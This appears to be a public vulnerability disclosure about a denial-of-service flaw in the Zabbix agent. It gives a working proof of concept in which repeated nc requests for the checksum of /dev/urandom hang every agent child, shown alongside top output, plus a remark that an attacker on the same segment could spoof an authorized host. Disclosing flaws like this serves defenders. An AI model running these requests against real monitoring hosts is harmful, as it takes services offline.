An authorized host can cause the zabbix_agentd to hang, overconsuming CPU resources.

This can be triggered by sending the agent a file checksum request (vfs.file.cksum[file]) with file argument being some "special" device file like /dev/zero or /dev/urandom (the latter rises kernel CPU usage even more).

If the malicious user sends <number_of_zabbix_agentd_children> requests, then the zabbix_agentd service will not be able to serve any requests until it's restarted.

Here's some example session :

------------
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost 10050 &
[1] 24429
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost 10050 &
[2] 24431
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost 10050 &
[3] 24433
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost 10050 &
[4] 24435

...and some output from top:
<snip>
Tasks: 183 total, 5 running, 178 sleeping, 0 stopped, 0 zombie
Cpu(s): 2.0%us, 97.0%sy, 1.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
<snip>

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND

24381 zabbix 30 5 5056 1032 768 R 65 0.1 4:16.01 zabbix_agentd
24382 zabbix 30 5 5068 1044 776 R 50 0.1 4:12.18 zabbix_agentd
24380 zabbix 30 5 5068 1044 776 R 50 0.1 4:01.24 zabbix_agentd
24379 zabbix 30 5 5056 1036 772 R 31 0.1 4:08.24 zabbix_agentd

------------------------

zabbix_agentd accepts new connections, but does not serve them.

The malicious user needs to connect from an authorized host, but it's not so hard to spoof it if he's on the same ethernet segment as the host running the zabbix_agent.